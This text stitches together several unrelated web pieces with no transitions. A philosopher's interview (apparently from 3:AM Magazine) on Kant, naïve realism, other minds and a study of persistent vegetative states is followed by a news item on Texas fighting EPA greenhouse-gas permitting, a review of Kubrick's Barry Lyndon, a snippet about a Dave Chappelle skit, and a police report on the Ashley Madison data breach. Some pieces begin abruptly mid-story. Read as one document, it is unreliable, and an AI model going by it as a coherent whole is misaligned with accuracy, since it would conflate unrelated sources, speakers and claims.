Still, it wasn’t clear to me then that I wanted to pursue a career in philosophy. After my undergraduate degree, I went to work in the Houses of Parliament for a Labour MP, which was great fun. I returned to Oxford to do my graduate work, then left again after my doctorate to work in the civil service. After a while I decided I wanted to come back to philosophy, and was lucky enough to get a job at the wonderful Birkbeck College in London. I often hear philosophers say that you should only do philosophy if you can’t imagine doing anything else. This tells you more about the imaginative capacities of philosophers than anything important. (They really can’t imagine doing anything else?) It’s a kind of self-congratulation which drives out from the discipline people who don’t see this as a vocation. And it ignores the way in which some of us find it difficult to imagine ourselves in a discipline which is so overwhelmingly white. I love my job very much, and feel very lucky to be able to spend so much of my time talking with smart, interesting people. But I don’t want to do this forever, and I hope I’ll get to do something else at some point.
3:AM: You’re interested in philosophy of mind and Kant. Can you sketch for us how Kant helps us understand how we come to get knowledge of the empirical world, one which we conceive of as existing unperceived?
AG: There’s a sense in which Kant is very uninterested in knowledge of the empirical world. The Cartesian sceptic only makes a brief appearance in the first Critique, in a small section called ‘The Refutation of Idealism’. There’s even a sense in which Kant is very uninterested in knowledge in the first Critique. His main interest is Erkenntnis – a German term which used to be translated as ‘knowledge’ but which is now usually translated as ‘cognition’. It’s not clear exactly what Erkenntnis is – some kind of object-directed thought, perhaps – but, at the least, we shouldn’t be too quick in identifying it with the kind of propositional knowledge which has been the focus of so much contemporary epistemology. (Karl Schafer, Eric Watkins and Marcus Willascheck, and my friend Andrew Stephenson and I have written on this.) It’s cognition which Kant finds puzzling in the first Critique – and, in particular, a certain kind of cognition which he takes himself to have been the first to identify: cognition of synthetic, a priori truths. Empirical cognition and empirical knowledge just don’t seem as puzzling to Kant, so they’re not the focus of his interest.
But this is not to say that Kant has nothing to say about our ability to think and know about the empirical world, and about the sense in which we can think of it as existing unperceived. On the face of it, it’s kind of odd that we can think of things in this way. ‘It’s still faintly surprising, this rigid fidelity of objects, sometimes resassuring, sometimes sinister’, as Ian McEwan puts it in Saturday. And it’s hard to see what would give us ground for thinking of the world as existing unperceived, particularly if our grounds for doing so are meant to come from experience. Kant seems to offer us an alternative which explains our capacity to think of things as existing unperceived in terms of our possession of certain a priori capacities. That’s a really interesting suggestion, which promises to make clear how we can think about objects existing unperceived without extracting the conception of an unperceived object from experience. It’s a claim which was influential in a certain part of the philosophy of mind. Gareth Evans, for instance, holds that our capacity to think of things as existing unperceived draws on a primitive theory of perception which is not itself derived from experience. That looks similar to the suggestion you find in Kant.
3:AM: Kant’s claim about the Transcendental deduction is that the categories must apply to experience, not that we must apply them. Can you sketch what this is about and what’s at stake in this? Why isn’t it enough to leave it at the more limited claim that we must apply them?
AG: The Transcendental Deduction of the Categories is at the heart of the first Critique. Philosophers like to compare it to a jungle which you have to hack your way across, or a desert which you have to cross without water. (This is the scholar, alone in the library, imagining herself as Indiana Jones.) Kant is aiming in this section to legitimate our use of a certain set of a priori concepts, the categories, a set which includes the concepts of and . One very natural way to think about the Deduction is as responding to a challenge raised by Hume. (Kant calls the Critique of Pure Reason the ‘elaboration of the Humean problem in its greatest possible amplification’.) On this way of reading the Deduction, the problem posed by the categories is that they are not given to us in our sensory apprehension of the world: there is just no such thing as an experience of causation, or an experience of substance. This raises a question of how it can ever be legitimate to apply the categories to the objects given to us through sensory experience. If we’re not presented with objects as instantiating the concepts of or , why think that we have grounds for applying those concepts?
Kant’s answer to this question turns on showing that the categories are necessary conditions on experience. But what is that supposed to mean? On one way of cashing this claim out, the categories are necessary conditions on experience because we have to apply the categories to the objects given to us in experience. That would be interesting, if it were true. But it doesn’t seem like it would justify our use of the categories. Because applying a concept is different from that concept being instantiated. And just because we have to apply the categories to the objects of experience, that doesn’t show that they are correctly applied. Application is distinct from instantiation and it seems to me that if we want the Deduction to justify our use of the categories, then it has to aim at the stronger claim and show that the categories are really instantiated. I worry that some readings of the Deduction don’t meet this constraint – that they don’t show anything more than that we must apply the categories. But you might respond to this worry by denying that the Deduction is really taking aim at Hume, or by holding that there’s no real difference between the necessary application of a concept and its instantiation. I don’t think those options are plausible, so I think that the distinction between us merely applying the categories and the categories having to apply is a useful one to wield in assessing reconstructions of the Deduction.
3:AM: Did Kant think we needed concepts to perceive? It seems strange to even think of him as some sort of naïve realist.
AG: It does, doesn’t it! And there’s a history to that strangeness. Naïve realism, as I understand it, is a claim about the phenomenal character of visual perceptions: it claims that visual perceptual consciousness involves primitive relations of apprehension which hold between perceivers and some aspects of their environment. We can trace naïve realist views back to the birth of analytic philosophy. G.E. Moore and Bertrand Russell in Cambridge and John Cook Wilson and H.A. Prichard in Oxford reject the idealism of their predecessors in favour of some form of naïve realism about perceptual consciousness. It’s common for textbook nativity stories to present this revolution as the rejection of neo-Hegelian idealism. But for these philosophers it was primarily a rejection of Kantian idealism – and, in particular, a rejection of Kant’s views about the way in which the mind is active in perceptual consciousness. So from its beginnings, naïve realism was taken to be incompatible with Kant.
Why are they incompatible? Well, Kant seems to think that the understanding – that active, concept-using part of our mind – is involved in perceptual consciousness and one natural way to explain this involvement is by taking Kant to hold that perceptual consciousness constitutively depends on the concept-guided activity of the understanding. At least, that’s the dominant view. And if perceptual consciousness constitutively depends on the concept-guided activity of the understanding, you might think that it can’t be understood as involving primitive relations of sensory apprehension. That was the view of the early twentieth-century realists, and their response was to reject Kant.
But does Kant really hold that the understanding is involved in perceptual consciousness? That’s the traditional reading, I think, but non-conceptualist interpreters of Kant have challenged that view in recent years (Robert Hanna, Lucy Allais, Colin McLear, and others). And if you deny that Kant thought that perceptual consciousness constitutively depends on the understanding – if you think instead that Kant allowed that we could be perceptually presented with empirical particulars independent of the use of any concepts – then that looks to make possible a rapprochement between Kant and naïve realism. That’s one kind of motivation for some of these non-conceptualist interpreters since some of them use naïve realist type views to explicate Kant’s account of perception. The cost is that they sometimes end up denying that Kant allowed the understanding any role in perceptual consciousness at all.
My oxymoronically-titled paper ‘Naïve Realism in Kantian Phrase’ tries to find a middle ground here, by showing how one can think that visual perception involves primitive relations of apprehension, and nevertheless allow that the understanding is necessarily involved in perceptual consciousness. It’s an attempt to show how the insight motivating the early twentieth-century realists – that perception is a primitive form of sensory awareness, whose objects are mind-independent bits of our environment – can be combined with the Kantian recognition that the perceptual consciousness of rational beings is necessarily structured by our rational capacities. Very roughly, reconciliation is possible once we recognise that since modal dependence doesn’t suffice for constitutive dependence, the understanding can be necessarily involved in perceptual consciousness without being constitutive of perceptual consciousness. My naïve realist friends seem to think that this hitches a perfectly good account of perceptual consciousness to an unnecessary Kantian framework, whilst my Kantian friends think that it sullies the insights of Kant’s theories by tying them to a stupid theory of perception. I like to think it offers the best of both worlds, but it probably brings with it the worst of each as well.
3:AM: This is all linked to Phenomenal particularism. Can you sketch out the position and is it the default position of the naïve realist?
AG: The naïve realist says that visual consciousness involves primitive relations of apprehension. This is often glossed as the claim that visual consciousness involves empirical objects as constituents. The thought is that when you perceive an empirical object, you’re related to the object in such a way that the object is literally part of your perceptual consciousness. As I said, naïve realism is a part of early analytic views on the nature of perception. But it disappears from the debate in the middle part of the twentieth-century, arriving back in the latter part of the century through the work of John Campbell, Bill Brewer and, especially, M.G.F. Martin. In a recent paper, Neil Mehta objects to views on which particular external objects are sometimes part of the phenomenal character of perceptual experience. He calls this view phenomenal particularism. Naïve realists endorse this claim for a certain set of experiences – namely, visual perceptions (and perhaps perceptions in general). So naïve realism is one form that phenomenal particularism can take.
3:AM: Are you sympathetic to this position? Are you a defender of naïve realism?
AG: Certainly sympathetic. I’ve heard naïve realism and similar views described as a British disease and given my upbringing in Oxford and London, it’s probably unsurprising that I’m inclined towards the view.
My friend Craig French and I have tried to defend naïve realism against the objections that Mehta raises to phenomenal particularism. One of the things we try to do there is show just how many resources the naïve realist has for responding to various objections. One common kind of objection to naïve realism turns on the fact that there are experiences which seem to involve the same particulars, but which differ in phenomenal character. Mehta gives as an example the taste of wine versus the visual perception of wine. If you thought that perceptual consciousness was just a relation to an object, then it looks like you would have to say that both experiences involve the same phenomenal character (or, at least, some common phenomenal character). But although I glossed naïve realism above as the claim that perception involves relations of apprehension which hold between perceiver and object, in fact many naïve realists take perceptual consciousness to be a three-place relation which links perceivers, objects, and the point of view from which that object is perceived. This is a part of the early twentieth century views as well, and Craig and I try to show how naïve realists can appeal to differences in the point of view in order to explain certain differences in phenomenal character.
A related objection concerns what the naïve realist should say about the phenomenal character of non-perceptual experiences – say, hallucinations or imaginative experiences, the latter of which features in Mehta’s paper. Again, Craig and I are concerned to show the ways in which you can think of there being commonalities between hallucination and perception, or imagination and perception, which don’t turn on the experiences possessing a shared phenomenal character. In the case of imaginative experiences, for instance, we might think of them as representations of the phenomenal relations that one stands in when one is perceiving a certain scene. This can secure a kind of commonality which doesn’t challenge the naïve realist insight about the genuinely perceptual case.
Neil Mehta and Todd Ganson have a really nice response to our paper, which helps clarify what is at stake in the dispute, and we have a further reply. So there are still challenges for naïve realism to overcome. But I do think that there is an insight in naïve realism which makes it worth exploring seriously.
3:AM: You’ve also investigated the problem of other minds. Could you first lay out the issues that need to be confronted?
AG: There are a number of issues which get raised under the heading of ‘The Problem of Other Minds’. One way in which the problem is sometimes raised is by appeal to cases of pretence or deception: isn’t it possible that, for all you know, Sadiq is pretending to be in pain? That’s a very natural thought, one that you find in The Truman Show for instance. But if you can’t rule out the possibility of pretence, how can you know that Sadiq is in pain? That’s one way to raise a sceptical problem about others’ minds, and there’s certainly some problem about our knowledge of others’ minds here. But this problem doesn’t seem to turn on anything particularly distinctive about our relationship to others’ minds. Similar problems arise for our perceptual knowledge – isn’t it a possibility that you’re hallucinating right now? – and our knowledge gained through memory – isn’t it a possibility that the world was fully formed only 5 minutes ago, with all your apparent memories included? Sceptical scenarios pose a threat to knowledge, but there’s nothing distinctive about their application to the case of our knowledge of others’ minds.
And when we look at the history of the problem of other minds, it doesn’t seem like a concern with pretence or deception is really motivating the discussions. Rather, the problem is one about identifying the source of our knowledge of others’ minds. We take ourselves to know lots about one another’s mental lives, and when we know about something, there is usually a means by which we know about it. But how do we know about other people’s thoughts and feelings? The answer’s not obvious, and that’s usually the starting point for philosophical puzzlement about our knowledge of others’ minds.
3:AM: Is the main problem one about the source of knowledge about other minds or is it a conceptual problem – or are both equally problematic?
AG: Right. I focused above on the problem raised in accounting for our knowledge of others’ minds. But in the middle of the twentieth-century, prompted in part by some considerations raised by Wittgenstein in the Philosophical Investigations and elsewhere, commentators began to distinguish between the epistemological problem of other minds and the conceptual problem of other minds. Whereas the epistemological problem of other minds asks how it is possible for us to have knowledge of others’ minds, given some potential obstacle to that knowledge, the conceptual problem asks how it is possible for us to think about others’ minds, given some potential obstacle to our possessing concepts which would enable us to do so. When I first started writing on this, the conceptual problem seemed to me to be the most pressing – partly because I was interested in Kantian questions about how we come to think of empirical objects as existing unperceived, and it seemed to me that there was a structural analogy with questions about how we come to think about pains as existing unperceived by me – which is what you might think is required if we’re to think of other people as being in pain when we ourselves are not. But I was never convinced by the line of thought, put forward by some writing on this problem, that once you solved the conceptual problem, there is no epistemological problem left to answer. Both seem interesting, in different ways, and my recent work has focused more on the epistemological problem.
3:AM: What role has testimony got in solving some of the problems about other minds?
AG: I said above that the problem of other minds has historically been one of finding a source for our knowledge of others’ minds. And in both the historical and contemporary debates, the main options in responding to this question have been perception and inference. Either our knowledge of others’ minds is a kind of inferential knowledge, like the knowledge we have when we construct a theory about what is going on behind a closed door based on the sounds that we hear emanating from the room. Or it is a kind of perceptual knowledge, like the knowledge we have when we open the door and see what’s behind it. There are a number of problems with framing the options available in this way. First, it’s unclear how to distinguish perception and inference: perhaps perceptual knowledge is just a form of inferential knowledge. Second, it’s not clear why we should think the division is exclusive: perhaps some of our knowledge of others’ minds is perceptual and some is inferential. And finally, it’s not clear why we should think that the division is exhaustive: perhaps some of our knowledge is neither perceptual nor inferential.
My paper on testimony and knowledge of others’ minds was an attempt to start thinking about the options for pursuing that last response: for holding that there is some knowledge of others’ minds which is neither perceptual nor inferential. And given that the most basic way in which we come to know about others’ minds is through testimony – you tell me things, I tell you things – that seemed like a good starting point for pursuing the strategy. Part of what I wanted to do was to show that some common reasons for ignoring testimony as a non-perceptual and non-inferential source of knowledge of others’ minds weren’t very good.
But as I’ve been working on this, I’m coming round to the idea that the testimonial knowledge we have of others’ minds is just an instance of a more general distinctive way of knowing about others’ minds. The standard framework starts by assimilating our knowledge of others’ minds to our knowledge of the material world. But this seems to mischaracterise our relation to others in various ways. My friend Nick Jones once called this postulation of a sui generis mode of knowledge a kind of cheating and I worry that he’s right. So I suppose what I’m trying to figure out at the moment is whether I can get away with cheating here.
3:AM: You’ve looked at a particularly odd looking real life case about other minds where an experiment purportedly showed people thinking that people in persistent vegetative states had less mentality than dead people. You disagree that this is what the experiment showed didn’t you: so first can you say what the paper was claiming and why?
AG: The starting point is this interesting study that Kurt Gray, Anne Knickman and Daniel Wegner undertook concerning the kinds of mental states we ascribe to people in a persistent vegetative state. Their striking conclusion is, as they put it, that people perceive patients in a persistent vegetative state (PVS) as having less mental capacity than the dead, that we think of them as ‘more dead than dead’. That’s surprising, to say the least. Don’t we ordinarily think of death as bringing to an end a subject’s mental capacities? In which case, how can there be people who have less mental capacity than the dead? For Gray et al., the answer is that we don’t really think about the dead as having no mental capacity: these judgements about PVS patients show that we’re really implicit dualists. One way to react to this study is to go: wow, that’s really cool and interesting. Another is to go: huh, something must have gone wrong somewhere. And that was my initial reaction. So my friend Matt Parrott and I started to think about what had gone wrong.
3:AM: And why do you think they draw the wrong conclusion?
AG: Here’s how the study worked: participants were presented with a short vignette about a fictional character named David who has been in a car accident. One group has a story in which he lives, one has a story in which he dies, and one has a story in which he enters a persistent vegetative state. They’re then asked to rate David’s mental capacity by indicating on scale running from “-3, Strongly Disagree” to “0, Neither Agree nor Disagree”, to “3, Strongly Agree” whether David has various mental capacities. Those who got the PVS vignette gave the lowest rating of mental capacity to David.
In our first paper on this study, Matt and I provided an alternative explanation of the data which we think is much neater, and doesn’t involve ascribing to people implicit dualist beliefs. We start with the famous fragment from Epicurus where he says that ‘when death comes, then we do not exist’. An Epicurean is someone who thinks that when people are dead, they no longer exist. Our suggestion is that people are implicit Epicureans. How should an implicit Epicurean answer the questions in the study? Consider first the vignette in which David is dead. You’re asked whether you agree or disagree with statements such as ‘David has emotions and feelings’. This statement presupposes that David exists. And it’s very natural to think that when a statement has a presupposition that you take to be false, neither agreement or disagreement seems appropriate. (Compare being asked whether you agree or disagree with the statement ‘I’ve stopped cheating on my partner’.) If you don’t want to agree with the statement, nor want to disagree with the statement, then the only option is to rate ‘0, Neither Agree nor Disagree’ – and what’s driving the rating here is the implicit judgement that David no longer exist.
Compare the case where David is in PVS. Here, David still exists. So if you’re an implicit Epicurean, and you’re asked to rate the statement ‘David has emotions and feelings’, there’s no obstacle to your answering ‘-3, Strongly Disagree’. And now we’ll get a situation where the case where David is dead receives a higher rating (0) than the case where David is in PVS (-3). But that’s not because people implicitly think the dead to have mental capacities which persist after death – it’s that people implicitly think that the dead no longer exist, and so neither agree nor disagree with statements which presuppose their existence.
A second paper which Matt and I wrote with our friend Josh Shepherd considered the method of using fictional texts to elicit judgements which are supposed to tell us about people’s implicit beliefs. I think this is a fascinating area: lots of experimental philosophy and social psychology use people’s responses to fictional texts as a way to get at their ordinary beliefs. Indeed, that’s a mainstay of the philosophical use of thought-experiments. But there are all kinds of differences between the way in which we respond to fictions and the way in which we respond to non-fictions, and our worry was that some of those differences might affect people’s responses. The issue we were concerned with was fictional timelines. Fictional stories often represent an extended period of time and over this period of time, the attributes of characters change. Some questions about a character will specify which moment in the fictional timeline you’re being asked about and some questions won’t. And when you ask a question which doesn’t specify which moment of the fictional timeline you’re asking about, it’s open for respondents to understand the question in different ways.
Here’s an example: Imagine finishing Anna Karenina and being asked: does Anna really care for her son? In answering that question, we think back to the characterisation of Anna’s relationship with her son; we think of the things she does and whether they can be explained as resulting from her love for him. We can disagree about the answer. But it would be odd to answer ‘No’ to the question on the basis that Anna dies at the end of the novel, so is therefore incapable of loving anyone. (Does that need a spoiler alert?) The question doesn’t specify that we should assess whether Anna loves her son at the end of the fictional timeline – and, in some ways, it would be an odd person who understood it in that way.
This is relevant for the study in Gray et al., because they wanted to elicit people’s judgements about David’s mental capacities at a particular point of the fictional timeline –namely, after his accident. But the questions didn’t make that clear. So we ran some studies which added a focusing clause to the questions, making explicit the point in the fictional timeline which they concerned. So instead of just asking whether you agree or disagree with the statement ‘David has emotions and feelings’, we asked whether you agreed or disagreed with the statement ‘After his accident/ death David has emotions and feelings’. And our results seem to show that the effect disappeared once the questions were clarified in this way. I think there’s probably still more to do on this, but these two papers indicate some of our concerns.
3:AM: Cognitive scientists are working to understand many of issues raised by Kant – do you think the scientists are going to get conclusive answers to the question about consciousness and the mind – and other minds – and if they are, doesn’t that make the Kantian project and the philosophers working in that tradition of just historical interest? I guess the question is whether you think philosophy should be heeded in the contemporary setting anymore?
AG: That’s a great (and deep and difficult) question. At its most general, it’s a question about whether philosophy has any role to play in the study of the mind. Of course, even if cognitive science gave us conclusive answers about the mind, that alone wouldn’t show that the philosophy of mind couldn’t make a contribution to the study of the mind, since there’s a long and distinguished conception of philosophy serving as under-labourer to science, to use Locke’s famous image. So there’s a role for philosophy in clarifying the concepts that scientists use, in criticising the way in which they take certain evidence to support a view, in offering alternative hypotheses which science can go away and investigate. I think of our papers on the PVS studies as being along these lines. None of these tasks is easy, and to see philosophy as playing this role is not to detract in any way from the importance of philosophical input, nor to diminish the distinctive contribution that can be made by philosophical reflection. But there’s a sense in which this construal of the relation between the philosophy and science of the mind has the former as parasitic on the latter.
But I think I’d be wary of the assumption that if philosophy can’t contribute towards the study of the mind in that way, then it has no contribution to make and is just of historical interest. Some of the questions which we’re concerned with in the philosophy of mind are questions which arise from our ordinary conception of the mind. One question about those ordinary aspects is how they fit with the scientific description of the mind – this is the project Wilfrid Sellars described of reconciling our scientific and manifest images. But to reduce the philosophy of mind to this question is to ignore the questions we might ask about those ordinary aspects in their own right, questions such as those about the character of perceptual consciousness and its role in explaining our knowledge and thought of a mind-independent world, or those about the kind of relation we stand in to others’ minds. These ordinary aspects of the mind can be the objects of philosophical puzzlement and the starting point for philosophical investigation – and whilst I think that anything we say about these topics shouldn’t be in conflict with what we know about the mind from the sciences, I don’t take it that our pursuing those questions is legitimate only to the extent that they can be eventually substituted for questions tractable in scientific terms. The questions about the mind which are pursued in the sciences are not the only questions about the mind we might want ask.
You also asked about the Kantian project and its role in all of this. Again, I don’t think it would be bad if the Kantian project were just of historical interest, since to be of historical interest is presumably one way of being of interest, and the value in studying Kant’s philosophy is not dependent on it being able to contribute to a future cognitive science. Still, there’s no doubt that Kant’s views have been influential in the philosophy of mind and, at least from my point of view, exposure to Kant’s genius can be a source of insight about the nature of the mind. But Kant’s views on the mind can also seem alien to us in all kinds of ways, and that’s also interesting since it makes prominent some of the background assumptions in our contemporary thinking about the mind which are otherwise too prevalent to command attention.
3:AM: And finally for the readers here at 3;AM, are there five books you could recommend that will take us further into your philosophical world?
AG: My book choices would be easily predictable, so can I do something else? A few years ago I ran a neglected papers seminar in Oxford, where each session a member of the Faculty drew attention to some interesting philosophy paper which they thought should be better known. It was prompted, in part, by the way my friends back home approach music: no-one there is surprised if you like the first three A Tribe Called Quest albums, or the Kano Fire in the Booth freestyle – that’s like trying to impress someone by telling them about this little jazz album you just bought called Kind of Blue. But turn up with a Kamaal the Abstract remix or a Novelist bootleg – well, then you’re talking. So this is five B-sides and rarities which people might not have heard of, from the genre I know best, twentieth-century Oxford philosophy.
John Cook Wilson, Statement and Inference [1927]: Cook Wilson is the leading figure in the early twentieth-century Oxford Realist movement, a group of thinkers who undertook a rejection of idealism contemporaneous with the more famous revolution featuring Moore and Russell in Cambridge. These two posthumously published volumes collect together his writings, and although they aren’t particularly easy or enjoyable reading, they’re interesting for defending and developing claims which are now returning to philosophical discussion, for example that knowledge is a primitive state not to be explained in terms of belief, and that perception involves primitive relations of sensory apprehension. And his focus on the importance of attending to ordinary language helps bring J.L. Austin’s work into focus.
Nathalie Duddington, ‘Our Knowledge of Other Minds’ [1918]: Duddington was a student of Dawes Hicks at UCL. She’s remembered now, if at all, for her translations of Russian literature but her two essays on our knowledge of others’ minds are great fun, in both style and substance. They bear the imprint of the Oxford Realist conception of knowledge and give expression to one powerful source behind the claim that our knowledge of others’ minds is perceptual.
G.A. Paul, ‘Lenin’s Theory of Perception’ [1938]: I like this mostly for the incongruous connection between Oxford philosophy and revolutionary Russia. Paul’s main concern is to deny that Lenin’s account of perception is, as Lenin claims, part of our ordinary thinking about perception. I’m not sure that Paul’s interpretation of Lenin is correct, but Lenin’s polemic contains my all-time favourite objection to phenomenalism: that belief in it delays the worker’s revolution. Amen to that.
Iris Murdoch, ‘Thinking and Language’ [1951]: I don’t think Iris Murdoch counts as neglected any more, but philosophical attention has tended to focus on the genius of The Sovereignty of Good, or occasionally on the prog-rock stylings of Metaphysics as a Guide to Morals. Yet her early papers on behaviourism are of interest in their own right. This suggestive paper is from a Joint Session symposium with Gilbert Ryle where Murdoch offers us a range of phenomenological reflections in an attempt to safeguard inner experience without denying the motivations for the behaviourist critique.
Ross Harrison, On What There Must Be [1974]: P.F. Strawson’s wonderful books Individuals and The Bounds of Sense seemed to showcase a return to metaphysical theorising by Oxford philosophers, albeit a ‘descriptive metaphysics’ which aimed to capture the character of our own conceptual scheme. Harrison’s book – which I think was his doctoral thesis, supervised by Strawson – is the most unadulterated instance of the Strawsonian programme that I know, and for those of us who are interested in Strawson’s work, it’s valuable for seeing what can be done within that framework.
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Richard Marshall is still biding his time.
The state had asked the U.S. Circuit Court of Appeals for the District of Columbia to delay the Environmental Protection Agency’s plan to seize control of permits for greenhouse gas emissions from power plants and other large industrial sources in Texas.
But the three-judge panel concluded that Texas officials have not met “the stringent standards required for a stay” while the court reviews the EPA’s takeover of the state’s permitting authority.
The ruling is just the latest chapter in what is a spirited fight between Texas and the federal government over the way the state regulates air pollution. The new rules on greenhouse gases would have a profound impact on Texas, which pumps more carbon dioxide into the air than any other state.
“Three strikes should mean ‘you’re out’ in this case,” said Steve Cochran, vice president for climate at the Environmental Defense Fund, an advocacy group. “If Texas put half the effort into carrying out greenhouse gas pollution control measures that it put into fighting them, EPA would not need to be involved.”
The state will continue to challenge the EPA despite the ruling, said Lauren Bean, a spokeswoman for Attorney General Greg Abbott.
“With the jobs and livelihoods of thousands of Texas families and businesses at risk, Texas will continue to challenge the EPA’s unlawful overreach,” Bean said.
The first federal rules on carbon dioxide and other heat-trapping gases took effect this month. Texas is the only state refusing to implement them — a position that prompted the EPA’s attempted takeover of greenhouse gas permits for power plants and other large industrial sources.
Federal and state officials have said that 167 facilities in Texas would be subject to the permitting requirements, which include new pollution controls.
The EPA will hold a public hearing on greenhouse gas permits in Dallas on Friday.
This particular scene I am talking about is a seduction scene that appears just a little further of the 90-minute mark. Ryan O’Neal, who plays the eponymous character, is seated across Marisa Berenson at a gambling table, their faces bathed in the golden glow emanating from the candle lights. Occasionally she throws a glance at O’Neal who has his eyes sharply fixed on her. After a while, she excuses herself from the table and proceeds to the terrace. O’Neal follows her a moment later. He slowly approaches towards her and her sideways glance reveals to him everything he needs to know. He then reaches out to her hands and without any rush, grasps them before he kisses her. This sequence lasts for a total of 4 minutes and is set to Franz Schubert’s Piano Trio No. 2. It’s an exceedingly elegant scene, perhaps the best seduction scene I’ve come across and is a masterpiece of filmmaking. Now, the reason I show this scene to others is because it scene tells them everything they need to know about the quality of the overall film, provided they are interested in this sort of filmmaking.
The film is based on an 18th century novel by William Makepeace Thackeray and follows the life of a rogue named Redmond Barry, a man who is extremely confused about where he should really belong. At a very young age, he loses his father to a duel. His mother spends the rest of her life declining proposals from other suitors and instead devotes herself to looking after her only son. An unseen narrator describes Barry’s life to us and proceeds to tell us next of “the cause of all Barry’s early troubles” – his romantic liaison with his cousin Nora Bady, in his teenage years. When she dumps him for a high-ranking officer in the English army, Barry is supremely insulted and the resulting jealousy leads, inevitably, to a duel. This is first of the few duels that Barry was to take part in, and instantly reminds you of his father’s duel in the opening scene, which acts as a foreshadowing of the events to come.
Several adventures and misadventures later, Barry ends up as a minor officer in the Prussian army. There he somehow manages to get into the good books of his superior officers and seeing as how he was trying hard to redeem himself, they ask him to spy on a man, a fraud called Chevalier du BaliBari, who happens to be an Irishman just like himself. Once he meets Chevalier, Barry goes back to his previous ways and offers him his loyalty and services. Barry, now in cahoots with Chevalier, sends back information that they both have fabricated together. It’s this new life that takes him to a Countess named Lady Honoria Lyndon (played by a divine looking Marisa Berenson, a former model) and we are now back at that seduction scene that I had mentioned earlier. They soon marry and it would’ve been a match made in heaven had it not been for the conniving ways of the man who is only marrying her for her fortune.
I think this is why Kubrick chose to use Schubert’s Piano Trio No. 2 for that seduction scene because this is a tune that was romantic yet had a tinge of melancholy in it. I love a good romance as much as the next guy but seeing a man as Barry, and the trajectory his life has taken so far, we can sense that things are not going to go well for both of them if they end up marrying each other. As expected, the marriage turns out to be an unhappy one. Barry now becomes Barry Lyndon. Before long, a son is a born to them and as unlikely as it seems, he is very attached to his son. But he doesn’t display the same affection to Lady Lyndon’s first born son from a previous marriage. Barry’s luck changes for the worse and a series of disastrous events shatter him emotionally. Lady Lyndon too is affected by one of those events. Years pass by and Barry’s relationship with his step-son worsens and eventually he finds himself in a most unusual predicament – a duel provoked by his own step-son. This is the climactic duel in the film and is the most intense sequence in the entire film.
As you would expect from a filmmaker of Kubrick’s caliber, Barry Lyndon is another one of the maverick director’s immaculately conceived masterpieces and served as another showcase for several innovative techniques which has by now become the director’s trademark. Kubrick was hell-bent on recreating the look of that era and wanted to avoid the use of artificial light as much as possible. Naturally this was an extremely challenging situation for both him and the crew. But Kubrick loved challenges and he came up with the idea of employing those massive Carl Zeiss lenses that were used by NASA for the Apollo moon landings. Some of his crew members must’ve thought that he was insane but I’m sure they finally changed their mind as soon as they saw the stunning results. The candle lit scenes are truly spectacular and after watching the film, I developed this obsession with photographing candles (this is apart from the obsession I have with photographing bulbs, which I got after seeing Wong Kar-Wai’s In the Mood for Love).
Kubrick also turned to the works of many eminent 18th century painters like William Hogarth, Jean-Antoine Watteau, Thomas Gainsborough, Joshua Reynolds, Johann Zoffany, and George Stubbs for inspiration and as a result of this, we are treated to some truly breathtaking and stupendous imagery on-screen. The film won Academy Awards for Best Cinematography, Best Music and Best Art Direction. All well-deserved, in my opinion. I was surprised to learn that this is Kubrick’s most underrated and least seen film and I can see why. As they have done with Kubrick’s earlier films, especially 2001, critics were once again eager to deride the coldness of the film. I find these criticisms absurd. I mean, why does every film have to be the same way? I think it’s time for a reappraisal.
Director Martin Scorsese is a huge fan of the film and this is what he had to say on it:
“I’m not sure if I can say that I have a favourite Kubrick picture, but somehow I keep coming back to ‘Barry Lyndon’. I think that’s because it’s such a profoundly emotional experience. The emotion is conveyed through the movement of the camera, the slowness of the pace, the way the characters move in relation to their surroundings. People didn’t get it when it came out. Many still don’t. Basically, in one exquisitely beautiful image after another, you’re watching the progress of a man as he moves from the purest innocence to the coldest sophistication, ending in absolute bitterness – and it’s all a matter of simple, elemental survival. It’s a terrifying film because all the candlelit beauty is nothing but a veil over the worst cruelty. But it’s real cruelty, the kind you see every day in polite society.’ “
“Game: Blouses,” as you may know, is the best line from one of Dave Chappelle’s best skits, in which Charlie Murphy recounts the night he and his brother Eddie spent with Prince and the Revolution. After meeting the musician and his band at a club, the Murphys and their friends faced off against them in a game of pickup basketball, and Prince … well, just watch below if you don’t know what I’m talking about. (A side note: I always assumed Charlie Murphy had invented this story or was at least exaggerating considerably. But then I read Questlove’s account of roller skating with Prince and now … I’m not so sure.)
"This hack is one of the largest data breaches in the world," said Staff Supt. Bryce Evans at a Monday morning news conference.
More than 30 million email addresses and some credit card data were released as a result of the hack last month.
"Your actions are illegal and won't be tolerated," said Evans about a case also now being investigated by Canada's privacy commissioner.
He didn't give any further details where the unconfirmed suicide cases may have occurred. Evans also said there have been reports of hate crimes connected to the hack.
Avid Life Media, which runs the infidelity website, has offered $500,000 to anyone who contributes information that leads to an arrest in the case. The Toronto-based company has not revealed how much data was stolen by hackers.
Police at the news conference also warned people whose data may have been compromised about a number of scams targeting them in the wake of the breach.
No charges have been laid in connection with the case, which police have dubbed Project Unicorn.
Evans said the case has attracted "enormous" attention around the world due to the scandalous nature of the Ashley Madison website, which used to advertise with the catchphrase: "Life is short. Have an affair."
But he said what's happening to the site's users — who weren't necessarily having affairs – is "no joke."
The nature of Ashley Madison's website, he said, is "of no interest" to investigators and the only criminal wrongdoing in the case has been committed by the hackers.
Data dumped online last week
Evans said a number of sites are extorting Ashley Madison clients, and offering to erase their names for a fee, something he says cannot be done.
The Ashley Madison website was hacked in July, but the data was only dumped online last week. (Eric Foss/CBC) "Nobody is going to be able to erase that information," Evans said, adding clicking on many of those links exposes your computer to malware and viruses.
Police also asked the tech community, as well as "white hat hackers" who don't engage in crime, to come forward if they have any information about the Impact Team or suggestion of avenues to investigate.
A group calling itself Impact Team has claimed responsibility for the hack.
The hacking case began on July 12, when Avid Life Media employees powered up their computers to find a threatening message on their screens and AC/DC's Thunderstruck playing through their speakers, Evans said.
The hackers called on the company to shut down Ashley Madison, as well as another of its sites called Established Men, which links young women with wealthy older men.
When the company refused, the hackers dumped Ashley Madison's client list online on Aug. 18, along with a simple online post saying "time's up."
Since, the hackers have also released emails from Avid Life Media's CEO, Noel Biderman.
The RCMP, Ontario Provincial Police, Toronto police and the U.S. Federal Bureau of Investigation are involved in investigating the breach, according to Avid Life Media.
Privacy watchdog investigates
The Office of the Privacy Commissioner of Canada is investigating the breach.
"Given that the company is based in Canada, and considering the global scope of the incident, our office will be investigating jointly with the Office of the Australian Information Commissioner, and in co-operation with other international counterparts," spokeswoman Valerie Lawton said in an email.
